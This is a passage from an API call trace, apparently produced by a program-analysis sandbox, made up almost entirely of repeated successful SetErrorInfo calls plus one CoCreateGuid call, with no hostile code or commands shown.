perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.335] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.335] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.335] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.342] CoCreateGuid (in: pguid=0x12d688 | out: pguid=0x12d688*(Data1=0xaa76bb7a, Data2=0xff56, Data3=0x43ce, Data4=([0]=0x95, [1]=0x54, [2]=0xc1, [3]=0x1, [4]=0xf9, [5]=0x2c, [6]=0xd2, [7]=0xc3))) returned 0x0 [0065.343] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.343] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 